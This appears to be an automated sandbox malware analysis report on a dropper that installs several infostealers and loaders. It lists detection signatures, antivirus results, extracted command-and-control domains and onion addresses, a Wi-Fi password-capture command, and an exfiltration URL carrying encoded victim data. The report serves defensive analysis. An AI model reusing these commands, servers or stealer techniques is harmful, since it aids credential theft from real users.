30.0.E35F.exe.d30000.0.unpack	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
30.0.E35F.exe.d30000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
30.0.E35F.exe.d30000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xd0e18:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xd0e8a:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xd0f14:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xd0fa6:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xd1010:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xd1082:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xd1118:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xd11a8:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
49.0.FD8E.exe.3e0000.0.unpack	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x674bf1:$s1: Runner 0x674d56:$s3: RunOnStartup 0x674c05:$a1: Antis 0x674c32:$a2: antiVM 0x674c39:$a3: antiSandbox 0x674c45:$a4: antiDebug 0x674c4f:$a5: antiEmulator 0x674c5c:$a6: enablePersistence 0x674c6e:$a7: enableFakeError 0x674d7f:$a8: DetectVirtualMachine 0x674da4:$a9: DetectSandboxie 0x674dcf:$a10: DetectDebugger 0x674dde:$a11: CheckEmulator
25.0.9D1E.exe.fb0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
25.0.9D1E.exe.fb0000.0.unpack	INDICATOR_EXE_Packed_DotNetReactor	Detects executables packed with unregistered version of .NET Reactor	ditekSHen	0x281721:$s2: is protected by an unregistered version of .NET Reactor!" );</script>
Click to see the 12 entries

Sigma Signatures

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: XXX, ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, ParentProcessId: 5544, ParentProcessName: InstallUtil.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 1188, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 987123.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://5.42.66.0/288c47bbc187111b439df19ff4df68f076.exe	Avira URL Cloud: Label: malware
Source: blastechohackopeower.pw	Avira URL Cloud: Label: malware
Source: http://hugo.topteamlife.com/order/tuc5.exe	Avira URL Cloud: Label: malware
Source: http://ftpvoyager.cc/ftp/index.php	Avira URL Cloud: Label: malware
Source: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion	Avira URL Cloud: Label: malware
Source: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a3	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\5390.exe	Avira: detection malicious, Label: HEUR/AGEN.1312567
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Avira: detection malicious, Label: HEUR/AGEN.1303617
Source: C:\Users\user\AppData\Local\Temp\2DF.exe	Avira: detection malicious, Label: HEUR/AGEN.1309922
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Avira: detection malicious, Label: HEUR/AGEN.1305491
Source: C:\Users\user\AppData\Local\Temp\1600.exe	Avira: detection malicious, Label: HEUR/AGEN.1332570
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Avira: detection malicious, Label: HEUR/AGEN.1362350

Found malware configuration

Source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://goodfooggooftool.net/index.php", "http://sulugilioiu19.net/index.php", "http://selebration17io.io/index.php", "http://vacantion18ffeu.cc/index.php", "http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}
Source: InstallUtil.exe.6032.26.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["blastechohackopeower.pw", "goddirtybrilliancece.fun", "drownthinsaltroutese.pw"]}
Source: InstallUtil.exe.5544.42.memstrmin	Malware Configuration Extractor: Eternity Stealer {"C2 url": ["http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/"]}

Multi AV Scanner detection for domain / URL

Source: hugo.topteamlife.com	Virustotal: Detection: 8%	Perma Link
Source: gxutc2c.com	Virustotal: Detection: 10%	Perma Link
Source: ftpvoyager.cc	Virustotal: Detection: 17%	Perma Link
Source: blastechohackopeower.pw	Virustotal: Detection: 5%	Perma Link
Source: http://5.42.66.0/288c47bbc187111b439df19ff4df68f076.exe	Virustotal: Detection: 19%	Perma Link
Source: http://hugo.topteamlife.com/order/tuc5.exe	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Drivers\csrss.exe	ReversingLabs: Detection: 69%
Source: C:\ProgramData\Drivers\csrss.exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1600.exe	Virustotal: Detection: 11%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Virustotal: Detection: 64%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\35E5.dll	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\35E5.dll	Virustotal: Detection: 62%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\4577.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\5390.exe	ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Virustotal: Detection: 46%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\InstallSetup9.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Roaming\ufhjbuw	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Roaming\wehjbuw	ReversingLabs: Detection: 40%

Multi AV Scanner detection for submitted file

Source: 987123.exe	ReversingLabs: Detection: 45%
Source: 987123.exe	Virustotal: Detection: 47%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\5390.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\35E5.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2DF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Drivers\csrss.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 987123.exe

Joe Sandbox ML: detected

Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_dd8477a9-3

Source: 987123.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Source: C:\Users\user\Desktop\987123.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.36.38.33:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.23.244.244:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 134.209.224.96:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.4:49794 version: TLS 1.2

Source:	Binary string: spelling_bythe_rules_of_language.pdb source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp, WERA42F.tmp.dmp.29.dr
Source:	Binary string: WindowsFormsApp2.pdb source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb;( source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: WindowsFormsApp9.pdbH source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: mscorlib.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: 9D1E.exe, 00000019.00000002.2407029205.000000006F8F4000.00000002.00000001.01000000.0000000F.sdmp, 9D1E.exe, 00000019.00000002.2382443256.0000000006041000.00000004.00000800.00020000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2303391732.00000000055ED000.00000004.00000800.00020000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2394782575.00000000075E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: C:\budipi\jewicayemodu-nolu\19\rehoha75\loz-ru.pdb source: 4577.exe, 0000000D.00000002.2101175658.00000000005C5000.00000002.00000001.01000000.00000009.sdmp, 4577.exe, 0000000D.00000000.1954389234.00000000005C5000.00000002.00000001.01000000.00000009.sdmp, 4577.exe, 00000018.00000000.2100150075.00000000005C5000.00000002.00000001.01000000.00000009.sdmp, csrss.exe, 0000001F.00000002.2468399681.00000000005C5000.00000002.00000001.01000000.00000012.sdmp, csrss.exe, 0000001F.00000000.2280554714.00000000005C5000.00000002.00000001.01000000.00000012.sdmp, csrss.exe, 00000026.00000000.2463066301.00000000005C5000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: WindowsFormsApp2.pdbx source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: khZ:\7zsfxmm-51139022f6d790da60884077b63b2f265052be0b\Output\Win32\7ZSfxMod.pdb source: 3BD2.exe, 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmp, 3BD2.exe, 00000008.00000000.1930010886.0000000000426000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: System.pdb4 source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.Core.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: Z:\7zsfxmm-51139022f6d790da60884077b63b2f265052be0b\Output\Win32\7ZSfxMod.pdb source: 3BD2.exe, 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmp, 3BD2.exe, 00000008.00000000.1930010886.0000000000426000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: 9D1E.exe, 00000019.00000002.2394782575.000000000769A000.00000004.08000000.00040000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2382443256.00000000060FB000.00000004.00000800.00020000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2303391732.000000000551E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WindowsFormsApp9.pdb source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: System.ni.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: spelling_bythe_rules_of_language.pdbX source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdb source: WERA42F.tmp.dmp.29.dr

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00404399 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	8_2_00404399
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00403C8F FindFirstFileW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,	8_2_00403C8F
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00403DA4 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	8_2_00403DA4
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041EDD8 FindFirstFileExA,	8_2_0041EDD8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0BD4A8 GetFileAttributesW,FindFirstFileW,FindClose,	21_2_00007FF73D0BD4A8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0BC948 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00007FF73D0BC948
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0CB93C FindFirstFileW,Sleep,FindNextFileW,FindClose,	21_2_00007FF73D0CB93C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0CB5C0 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	21_2_00007FF73D0CB5C0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0CB418 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	21_2_00007FF73D0CB418
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C74F0 FindFirstFileW,FindNextFileW,FindClose,	21_2_00007FF73D0C74F0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0834E0 FindFirstFileExW,	21_2_00007FF73D0834E0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C82BC FindFirstFileW,FindClose,	21_2_00007FF73D0C82BC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0BC498 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00007FF73D0BC498
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C8370 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	21_2_00007FF73D0C8370

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Zoo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Viewers	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 5.42.66.0 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 109.175.29.39 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.215.85.120 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.26.173 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.104.83.7 80	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: blastechohackopeower.pw
Source: Malware configuration extractor	URLs: goddirtybrilliancece.fun
Source: Malware configuration extractor	URLs: drownthinsaltroutese.pw
Source: Malware configuration extractor	URLs: http://goodfooggooftool.net/index.php
Source: Malware configuration extractor	URLs: http://sulugilioiu19.net/index.php
Source: Malware configuration extractor	URLs: http://selebration17io.io/index.php
Source: Malware configuration extractor	URLs: http://vacantion18ffeu.cc/index.php
Source: Malware configuration extractor	URLs: http://valarioulinity1.net/index.php
Source: Malware configuration extractor	URLs: http://buriatiarutuhuob.net/index.php
Source: Malware configuration extractor	URLs: http://cassiosssionunu.me/index.php

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Found Tor onion address

Source: 4577.exe, 00000018.00000002.2986069883.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{
Source: csrss.exe, 00000026.00000002.2986522634.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^qEOPJOP/EZJQI6[4FTWK5B4PQQ8OHITH3EPMOVFLB4REWWD8[4MPDIL6PSWLVS[J00;QUUI`,^qEhttp://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `,^qkhttp://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a388c8439LR^qd}L
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a388c8439?u=am9uZXM%3D&p=ODMwMDIx&i=MTkxLjk2LjIyNy4xNzY%3D&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=TmV3IFlvcms%3D&t=RGVmYXVsdA%3D%3D4'^q4'^qt
Source: InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a388c8439?u=am9uZXM=&p=ODMwMDIx&i=MTkxLjk2LjIyNy4xNzY=&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=TmV3IFlvcms=&t=RGVmYXVsdA==LR^q
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^qkhttp://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a388c8439
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000033F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^qkhttp://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a388c8439

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 8990
Source: unknown	Network traffic detected: HTTP traffic on port 8990 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 8990 -> 49797

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost

Yara detected Generic Downloader

Source: Yara match	File source: 42.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.E35F.exe.db8096.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.E35F.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\E35F.exe, type: DROPPED

Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 78.46.174.72:9001
Source: global traffic	TCP traffic: 192.168.2.4:49747 -> 185.220.101.23:30023
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 88.198.112.25:9001
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 178.17.170.13:9001
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 47.254.134.152:9001
Source: global traffic	TCP traffic: 192.168.2.4:49797 -> 195.66.87.105:8990

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.24.0Date: Sun, 07 Jan 2024 04:30:05 GMTContent-Type: application/octet-streamConnection: closeContent-Description: File TransferContent-Disposition: attachment; filename=0c5f04c7.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 28 38 65 ec 6c 59 0b bf 6c 59 0b bf 6c 59 0b bf 72 0b 9e bf 7d 59 0b bf 72 0b 88 bf 3e 59 0b bf 72 0b 8f bf 48 59 0b bf 4b 9f 70 bf 6b 59 0b bf 6c 59 0a bf 0b 59 0b bf 72 0b 81 bf 6d 59 0b bf 72 0b 9f bf 6d 59 0b bf 72 0b 9a bf 6d 59 0b bf 52 69 63 68 6c 59 0b bf 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a9 36 85 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 64 02 00 00 7a 02 00 00 00 00 00 23 22 00 00 00 10 00 00 00 80 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 9e 60 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc b6 02 00 50 00 00 00 00 a0 03 00 b8 7d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 aa 02 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 62 02 00 00 10 00 00 00 64 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 40 00 00 00 80 02 00 00 42 00 00 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 97 00 00 00 d0 02 00 00 86 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 a1 01 00 00 00 70 03 00 00 02 00 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 64 6f 78 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 6f 70 65 00 00 00 41 02 00 00 00 90 03 00 00 04 00 00 00 34 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 7d 01 00 00 a0 03 00 00 7e 01 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 